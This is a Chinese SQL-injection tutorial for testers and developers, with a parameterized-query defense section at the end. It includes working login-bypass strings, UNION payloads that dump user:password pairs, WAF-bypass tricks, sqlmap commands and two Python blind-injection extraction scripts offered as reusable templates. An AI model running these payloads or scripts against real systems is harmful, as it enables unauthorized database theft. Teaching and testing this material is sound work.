1. SQL注入到底是什么
做了这么多年Web安全测试,也带过不少刚入门的安全工程师,“SQL注入”这个名字几乎每天都会听到,但真能把它讲透的人其实不多。很多人背了payload、记了技巧,却说不清楚这条SQL语句到底是怎么被“污染”的。这篇文章不打算重复那些口水话,干脆从原理、利用、实战到防护,把SQL注入这个老朋友彻底聊透。
先给一句话定义:SQL注入是一种把恶意SQL代码“塞”进应用程序正常查询逻辑里的攻击方式。问题出在开发者把用户输入直接拼接进了SQL语句,而没有做相应的隔离或校验。你输入的不是“数据”,而是成了“代码”的一部分。比如一个登录框,后端执行的是SELECT * FROM users WHERE username = 'admin' AND password = '123456',如果你把输入改成admin' --,实际上执行的是SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456',后面的密码校验直接被注释掉了。这么一来,只凭一个用户名就能登录。这就是最常见的“万能密码绕过”。
这个概念听上去很简单,但延展出去非常深。SQL注入不仅可以绕过登录,还能拖库、脱裤、写shell、读文件、甚至直接拿下服务器。在OWASP Top 10里,SQL注入常年占据高位,哪怕现在框架和ORM已经很普及,依然有大量老旧系统、自写拼接SQL的系统存在这个问题。对安全人员而言,这是必须拿下的基本功;对开发者而言,理解注入原理才能从根本上写出安全代码。
这篇文章会从真实攻击者的视角走一遍完整流程:认识原理、判断注入点、掌握联合查询和盲注技巧、编写自动化脚本,然后反过头来谈防护思路和修复建议。我尽量用自己测试中遇到的实际案例来讲,不整那些只能在理想环境里跑的演示。适合刚接触Web安全的新手,也适合想系统梳理一下自己知识储备的开发者。
2. 为什么拼接SQL会成为漏洞的温床
2.1 动态SQL与字符串拼接的本质
绝大多数SQL注入漏洞的根源,都在于程序动态构造SQL字符串。正常的查询逻辑,比如用户要查自己的订单,代码可能是这样写的:
sql = "SELECT * FROM orders WHERE user_id = " + user_id cursor.execute(sql)user_id是从请求参数里拿到的,开发者本意是让它做整数,但如果用户传入的是1 OR 1=1,整个查询就变成了:
SELECT * FROM orders WHERE user_id = 1 OR 1=1这个语句会把全表的订单都查出来。这个场景就是典型的拼接型注入。不只是Python,PHP、Java、C#里到处都能见到这种写法,越老的系统越常见。
这里得把“代码”和“数据”的概念分清楚。数据库解析SQL时,字符串和数字会被当作“数据”,而其他关键字、运算符、函数名会被当成“代码”。普通查询把用户输入限制在“数据”位置,拼接SQL则让用户输入有机会越界成为“代码”。同一个字符串,在不同位置有不同的解释方式,这就是注入的本质矛盾。
我见过很多开发者觉得“加个引号就好了”,其实这只是在数据外侧包裹一层引号,真到了注入点,攻击者需要的恰恰是那层引号。比如用户输入' OR '1'='1,拼接后变成:
SELECT * FROM users WHERE password = '' OR '1'='1'密码为空或者1等于1,条件成立,一样被绕过。引号不是保护符,它只是拼接SQL时才需要处理的字面量,而引号本身也是可注入内容的一部分。
2.2 登录框背后的隐藏逻辑
登录验证是最直观的注入演示场景。正常逻辑是拿用户输入的用户名和密码去数据库匹配,比如:
SELECT * FROM users WHERE username = 'zhangsan' AND password = 'e10adc3949ba59abbe56e057f20f883e'如果代码直接拼接,那么当用户名输入admin' --时,SQL变为:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'e10adc3949ba59abbe56e057f20f883e'--(后面带空格)是MySQL里的注释符号,后面内容全部被忽略。查询等价于只校验username,password直接不看了。只要数据库里存在admin用户,这条语句就能查出记录,程序往往通过“是否有返回结果”来判断登录成功,于是攻击者在不知道密码的情况下直接拿到了登录态。
有人会问:如果查询不到admin,或者使用了“查不到就报错”的逻辑呢?那还有另一个姿势:输入' OR 1=1 --,SQL变成:
SELECT * FROM users WHERE username = '' OR 1=1 -- ' AND password = 'xxx'只要表里有任何记录,结果集就不为空,一样能绕过。这就是“万能密码”的原理,网上流传的各种变体,本质上都是在改变条件表达式的真假。
2.3 为什么简单的问题屡修屡犯
很多开发团队在 2022 年还在步同样的坑,因为业务压力大、新功能上线急,SQL写的捷径就是字符串拼接。尤其是一些内部报表系统、旧的后台管理项目,上线时没人做代码审查,后续维护者接手又不敢动原来的逻辑,于是一个漏洞潜伏很久。
还有一个因素是很多框架提供的原生SQL方法并没有强制参数化。比如Python的sqlite3、MySQLdb,Java的Statement,开发者完全可以用拼接调用。只有用到PreparedStatement、参数化查询或ORM的预编译接口时,才能从语法层面杜绝注入。然而预编译不是自动发生的,需要写代码的人主动选择。教育成本高、团队不重视、测试不到位,都是问题反复出现的原因。
3. 注入点探测:第一步永远是摸清数据库的状态
3.1 先用单引号和逻辑运算试水
拿到一个可能有注入的URL,最基础的操作就是在参数后面加一个单引号,观察页面返回。比如:
http://example.com/product.php?id=1把请求改成id=1',如果页面报错、回显异常、返回500,或者出现数据库错误信息,说明单引号很可能被拼进了SQL。接下来换id=1 AND 1=1和id=1 AND 1=2:
AND 1=1返回正常内容AND 1=2返回空白或异常
两个结果不一样,基本可以判定存在布尔型注入。原理很简单:AND 1=1恒为真,不影响原查询;AND 1=2恒为假,导致整个查询结果为空。页面呈现自然不同。这个手法在手工测试里极其有效,比我直接上sqlmap更能理解数据流的逻辑。
这里要提醒一句:测试时如果目标系统对访问频率敏感,建议用延时注入来试探,别一上来就大量发请求。AND SLEEP(5)如果让页面停顿了5秒,说明执行了这条延时函数,基本也能确认注入点,而且这种方法对盲注场景更实用。
3.2 判断数据库类型和参数位置
看到id=1'报错信息时,注意看错误内容。MySQL的报错里经常出现“You have an error in your SQL syntax”之类的字样,SQL Server则带“Unclosed quotation mark”的消息。更隐蔽的场合没有报错输出,只能靠函数判断。不同数据库有不同的特性函数和注释符:
- MySQL:
version()、database()、user(),注释可用#或--,还可以用/*...*/ - Oracle:
dual表必须有,注释只有-- - SQL Server:常用
@@version,注释是--,多条语句用分号分隔 - PostgreSQL:
version(),支持--和/* */
用union联合查询时,MySQL和Oracle的列数对应规则也有区别。比如Oracle的查询必须带FROM dual,MySQL则允许SELECT 1,2,3不带表名。判断列数用ORDER BY n,逐步加大n值,当n超过实际列数时数据库会报错。这一步是为了后面的union查询做准备。
3.3 参数是数字还是字符串的坑
很多初学者看到一个URL里的参数是数字,就忽略引号问题。实际上,即使URL中显示的是id=1,后端也可能拼接成WHERE id='1',这是程序内部的处理。你必须亲测引号、转义、闭合标志,而不能只看URL形态。
反过来,有些系统会把整数参数强转类型,比如intval($_GET['id']),那引号注入就失效了。这种情况下只能依赖逻辑漏洞或者其他注入点。所以探测过程要灵活,别一个payload走天下。我习惯准备一个最小集:单引号、双引号、反斜杠、1 AND 1=1、1 AND 1=2,再结合URL编码,一组请求下来基本能确定边界。
4. 核心利用姿势:从联合查询到盲注的完整闭环
4.1 联合查询注入:直接看见数据
联合查询注入的前提是目标SQL查询会把“查询结果”直接回显到页面上。我们先用ORDER BY确定列数。假设id=1 ORDER BY 4失败,ORDER BY 3正常,说明查询返回3列。接下来构造:
http://example.com/product.php?id=-1 UNION SELECT 1,2,3为什么用-1?因为正常查询没有id为-1的product,结果集为空,UNION后的部分才能占据显示位置。页面如果显示数字2和3,说明回显点在第2列和第3列。再把2和3替换成database()和version():
http://example.com/product.php?id=-1 UNION SELECT 1,database(),version()数据库名和版本号就会直接打印到页面上。接着爆表名:
http://example.com/product.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()information_schema是MySQL自带的元数据库,所有表名、列名都在这。group_concat把多行结果拼成一串,方便一眼看完。下一步就是查字段名,锁定目标表之后把数据拖出来。这个过程我已经跑过无数次,在真正的渗透测试里,只用浏览器和手输就能把整个库表结构扒干净。
联合查询注入的关键障碍是回显位置有限,有时代码只输出第一行、或者过滤了关键字,就需要调整语文课代表式的编码技巧,比如大小写变体、内联注释避开简单过滤。但在常规环境下,联合查询是最省时间的路径。
4.2 布尔盲注:没有回显也能一比特一比特地猜
现实场景里很多系统不会把查询结果显示出来,只呈现“存在”和“不存在”两种状态。这种情况下必须走盲注。布尔盲注的核心思路是把一个条件判断变成“对”或“错”,通过页面反馈判断条件真假,逐步缩小范围之后把数据“猜”出来。
原理可以这样理解:我们想知道数据库名的第一个字符是什么,把它拆成ASCII码,再用二分法去比较。比如:
id=1 AND ASCII(SUBSTRING(database(),1,1)) > 100如果页面正常,说明第一个字符的ASCII大于100,继续调大数值;如果页面异常,说明不大于100,调小数值。每次二分只需要几十次请求,就能确定一个字符。一个库名10个字符,整体请求量是可控的。这个算法和“猜数字”游戏一模一样,只是把判断交给了页面响应。
手工做布尔盲注太累,我通常直接写Python脚本。请求库用requests,发一次请求判断一次返回长度,然后根据反馈调整二分区间。下面这个脚本能测出数据库名的长度和每个字符的ASCII码,核心逻辑非常简洁:
import requests url = "http://example.com/product.php" cookie = {"session": "abc123"} def make_request(payload): resp = requests.get(url, params={"id": payload}, cookies=cookie) return len(resp.text) # 判断数据库名长度 low, high = 1, 30 while low < high: mid = (low + high) // 2 payload = f"1 AND LENGTH(database())>{mid}" if make_request(payload) > 5000: # 阈值根据正常页面大小设置 low = mid + 1 else: high = mid db_length = low print(f"[*] database length: {db_length}") result = "" for pos in range(1, db_length + 1): left, right = 32, 127 while left < right: mid = (left + right) // 2 payload = f"1 AND ORD(MID(database(),{pos},1))>{mid}" if make_request(payload) > 5000: left = mid + 1 else: right = mid result += chr(left) print(f"[*] current db name: {result}")脚本里的页面长度阈值要根据实际情况调整,正常页面和空结果的页面内容差异越小,越要细心设置。写的时候最好加上sleep或者重试机制,避免被目标封IP。
4.3 时间盲注:页面完全没变化时怎么办
比布尔盲注更极端的情况是页面无论真假都返回一样的内容,连长度都不变。这时只能走时间盲注,通过判断SQL是否执行了延时函数来得到答案。MySQL经典表达式是SLEEP(5),配合条件判断:
id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)如果条件成立,这个请求会停顿5秒才返回;如果条件不成立,几乎瞬时返回。这样我们就把“真假”转换成了“时间差”。Python脚本把上面的布尔判定改成用time.time()测量请求耗时,其他部分可以复用。
时间盲注有两点必须注意:一是数据库账号权限可能不允许执行SLEEP(很少见),二是网络延迟抖动会干扰判定,所以延时值不要小于3秒,并且要多测几次基线请求。另外,大量慢请求很容易拖垮目标数据库,测试务必控制频率,点到为止,别真把人家查挂了。
4.4 报错注入:让错误信息当传话筒
某些数据库配置会把SQL错误信息直接回显到页面,这种环境下可以使用报错注入,典型的MySQL姿势是extractvalue和updatexml。通过构造一个XPath语法错误,把子查询结果“挤”进错误信息里:
id=1 AND updatexml(1,concat(0x7e,database(),0x7e),1)这里concat(0x7e,database(),0x7e)会在数据库名两侧加上波浪号,然后updatexml解析第二个参数时遇到非法XPath表达式,直接把整个内容抛进报错返回。页面上就能看到类似XPATH syntax error: '~testdb~'的信息,数据库名就这样泄露出来。这种方法一次只能取一小段内容,但配合substr函数可以逐段提取。
报错注入的核心是利用数据库函数处理异常信息时“顺手”带上查询结果的机制,前提是目标没有屏蔽报错。现在默认关闭display_errors的系统越来越多,能遇到报错注入算运气好。我没有把它当作主要手段,但一旦遇到绝不浪费。
5. 自动化工具的使用与手注的平衡
5.1 sqlmap的正确打开方式
提到SQL注入测试,绕不开sqlmap。它确实能干,但我不建议新手上来就跑工具,因为工具能扫出注入点,却无法让你理解漏洞原理。工具是辅助,基础功才是根本。不过在实际授权的测试中,sqlmap能极大提升效率,尤其是面对复杂指纹识别、DBMS识别、批量数据提取的时候。
基本命令很简洁:
sqlmap -u "http://example.com/product.php?id=1" --cookie="PHPSESSID=abcd1234" --batch--batch参数自动选择默认选项,避免交互等待。指定数据库类型用--dbms=mysql,拖表用--tables,读数据用-D dbname -T tablename --dump。如果需要走Post请求,可以加--data="id=1&name=test"。这些都是常规操作,不复杂,复杂的是在现实环境里遇到WAF时如何调整 tamper 脚本。
sqlmap的--tamper参数可以加载内置或自定义的混淆脚本,比如space2comment把空格替换成注释/**/,between把等号换成BETWEEN ... AND ...。不同WAF的匹配规则差异很大,没有万能脚本。我通常先手工确认注入点类型,再根据情况选择或编写tamper脚本,而不是让sqlmap全自动乱跑,那样大概率打到一半被拦。
5.2 手注经验:必要的时候回归原始
有一次我遇到一个加了简单关键字过滤的站点,过滤了SELECT和空格。sqlmap跑了几轮都没出结果,我用手工测试后发现可以用/**/代替空格,用大小写混合SeLeCt绕过关键字过滤。这类在真实业务里的花式干扰,工具反而不如人脑。所以我的习惯是:自动化初筛,手工深挖,两者结合度越高越能应付奇葩环境。
6. 登录场景的完整实战演示
6.1 万用绕过手把手走一遍
假设有个测试靶场,内网地址是http://10.0.0.8/login.php。后台代码大致如下:
$username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysql_query($sql); if (mysql_num_rows($result) > 0) { echo "登录成功"; } else { echo "用户名或密码错误"; }没有过滤、没有转义、没有参数化,妥妥的拼接灾难。打开登录页,先在用户名框输入:
admin' --密码框随便填个x。提交后SQL变成了:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'x'等价于只查username='admin',如果admin存在,mysql_num_rows返回1,直接登录。如果不知道具体用户名,用' OR 1=1 --也能凑效。这条语句查的是全表,只要有记录就会“登录成功”。
6.2 登录后的联合查询信息收集
登录成功往往只是第一步,下一步是找可利用注入点。假设在个人主页的参数user_id=5存在注入,用前面说的ORDER BY确定列数为3,然后:
http://10.0.0.8/user.php?user_id=-1 UNION SELECT 1,2,3页面显示2和3,把2换成user(),3换成database(),就拿到了当前数据库用户和库名:
http://10.0.0.8/user.php?user_id=-1 UNION SELECT 1,user(),database()接着爆表:
http://10.0.0.8/user.php?user_id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()假设结果里有users、logs等表,再爆列:
http://10.0.0.8/user.php?user_id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users'最终拖数据:
http://10.0.0.8/user.php?user_id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users0x3a是冒号的十六进制,用来分隔用户名和密码。这一步如果密码是MD5或明文,基本就是全量沦陷。整个过程只需要浏览器,不需要任何工具,这就是理解注入原理后手注的魅力。
6.3 用Python写一个简单的盲注利用脚本
网上有大量公开的盲注脚本,但自己写一个更能加深理解。我们以布尔盲注为例,目标接口http://10.0.0.8/user.php?id=1,页面正常时文本长度为5600,注入条件为假时长度为4800。脚本逻辑是:构造payload,判断len(resp.text),大于5000视为真,小于视为假,用二分法逐字符提取。下面是精简版代码,替换URL和阈值后可直接当模板用:
import requests import string target = "http://10.0.0.8/user.php" def query(payload): resp = requests.get(target, params={"id": payload}, timeout=10) return len(resp.text) def extract_data(expression): result = "" for index in range(1, 501): # 假设最大长度500 low, high = 32, 127 while low < high: mid = (low + high) // 2 payload = f"1 AND ORD(MID(({expression}),{index},1))>{mid}" if query(payload) > 5000: low = mid + 1 else: high = mid if low == 32: break result += chr(low) print(f"[+] partial: {result}") return result database_name = extract_data("database()") print(f"database: {database_name}")把expression换成SELECT ...子查询,就可以提取任意数据。这种脚本的价值在于它完全由你控制,不会像大而全的工具那样被特征检测到。更重要的是,它逼着你把MID、ORD、二分查找这些细节全部搞清楚。
7. 防护与修复:从根上堵住注入
7.1 参数化查询和预编译是唯一王道
就算其他什么防护都不做,只要把待拼接的SQL改成参数化查询,SQL注入的根子就断了。参数化查询的原理是预先编译SQL结构,再把用户输入当作纯数据传给数据库引擎,数据库不会再解析这些内容为代码。不同语言的写法很类似。
Python的sqlite3:
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))Java的PreparedStatement:
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?"); stmt.setString(1, username); stmt.setString(2, password);PHP的PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass"); $stmt->execute([':user' => $username, ':pass' => $password]);在参数化查询下,就算输入了admin' --,它也只是一个普通字符串,数据库会比较username字段是否有值等于admin' --,而不是改变查询逻辑。这个改动非常小,却可以从根上消灭注入。
有个误区需要澄清:转义字符、加引号、替换关键字都不是真正的修复,只是缓冲。转义有编码绕过和二次注入的风险,关键字过滤总有漏网写法。我见过不少开发者用addslashes或mysql_real_escape_string在旧代码里打补丁,遇到连字符、宽字节就可能失效。合法使用参数化查询是唯一能拍胸脯保证安全的方案。
7.2 纵深防御:不只是数据库查询的事
就算用了参数化查询,也要考虑纵深防御。首先是最小权限原则,数据库账号不应该用root或admin跑业务查询,应该为业务单独分配一个只能执行所需增删改查的账号,并且禁止跨库访问。即使注入被绕过,攻击者也拿不到information_schema以外的敏感库表。
其次是输入校验。对于数字id、日期、枚举值等有明确格式的参数,后端要强类型校验或白名单匹配。比如id就只允许整数,那传入1 OR 1=1直接校验失败,拼都没得拼。这属于“控制攻击面”的思路,虽然参数化查询已经解决了SQL注入,但多一层校验会让攻击者对系统的“把玩空间”更小。
然后是上线前安全测试。不是所有团队都有专业测试资源,但至少可以做到:代码里搜索字符串拼接加SQL调用的地方,把+ "'" +、str.format(sql)这类写法挑出来人工审计。这种方式成本极低、见效极快。我遇到过的注入漏洞,九成以上都能靠这一条“搜索审计规则”事先发现。
7.3 WAF和过滤器的局限性
有些站点依赖WAF和Web层过滤器来拦截注入payload,比如替换union、select等关键字、封禁常见攻击IP。WAF确实能挡住一批脚本小子,但没法做到100%可靠。编码绕过、注释穿插、十六进制写法、JSON参数污染都能让规则失效。而且WAF维护成本高,特征库更新不及攻击手法变化快。它应该被定位成一个“临时止血”措施,而不是安全方案本身。
如果折腾过WAF的人肯定知道,我写过一个用%55nion(URL编码u)配合内联注释绕过一个垃圾规则的案例。那种规则只做大小写不敏感的字符串匹配,遇到编码直接就瞎了。真想从根上解决,还是得回到代码层。
8. 常见问题与排查技巧实录
8.1 遇到“页面没变化”是不是没注入点
不一定。我曾经遇到过整数参数被包裹在双引号里的场景,比如WHERE user_id="1",单引号测试无效,双引号和闭合方式不同才暴露。还有时候是程序对错误处理做了统一跳转,布尔盲注和报错注入都看不到差异,必须用时间盲注。所以“没有现象”不等于“没有漏洞”,要多换判定维度。
8.2 数据库报错被屏蔽了怎么办
生产环境基本都会关闭详细报错,报错注入这条路走不通。这时要么用布尔盲注或时间盲注,要么尝试二次注入。比如有些注册登录系统会把用户名存进数据库,后续查询又拼接了该字段,第一次输入特殊字符串被“安全存储”,第二次查询时却原样拼进SQL,形成二次注入。这类问题隐蔽性高,很考验思路。
8.3 参数是JSON或者编码过的怎么办
现代接口大量用JSON传参,注入点就在JSON字段里。测试时不能再用简单GET参数,而要构造完整JSON报文。比如{"keyword":"test"},把test替换成test' AND SLEEP(5),通过响应时间判断注入。还有系统会自动对参数URL解码,那么你在测试时也需要保证发送的是编码后的内容,与服务器解析逻辑一致。
8.4 如何快速定位代码里的注入点
拿到一套源码做代码审计时,我会先全局搜索execute(、query(、select(等方法调用,然后往前追查变量来源。如果参数直接来自$_GET、$_POST或request.getParameter(),再往回看是否走了prepareStatement或参数绑定,没走就有风险。这个流程熟练之后,一套几百个文件的系统,半小时就能筛出可疑点。
9. 验证与加固的小建议
我实际接触的很多系统,之所以被人拿下一遍又一遍,往往不是因为某一个漏洞多高级,而是因为没有做“漏洞闭环”:发现SQL注入后,只改了当前这个点,没排查同类的、同级的其它接口。正确的做法是修完以后,对整个系统做一次批量正则扫描,把所有拼接SQL的代码位置全部找出,统一替换成参数化查询。
测试过程中还要注意守好底线。SQL注入测试很容易造成数据破坏或页面异常,尤其是UPDATE、DELETE型注入,稍有不慎就会删库。我个人的习惯是:在授权范围内测试,只做验证性payload,不做破坏性操作。拖数据时优先排序少量字段验证明文,不随便--dump全库。做安全的人更要有安全意识,不把测试变成事故。
最后分享一个我常用的自查小技巧:收集完漏洞信息后,写一份简短的复现说明,包括注入点URL、payload、数据库返回差异、修复建议。别小看这个习惯,半年后再看这份文档,比你翻聊天记录高效得多。安全测试的沉淀,靠的就是这种扎实的记录。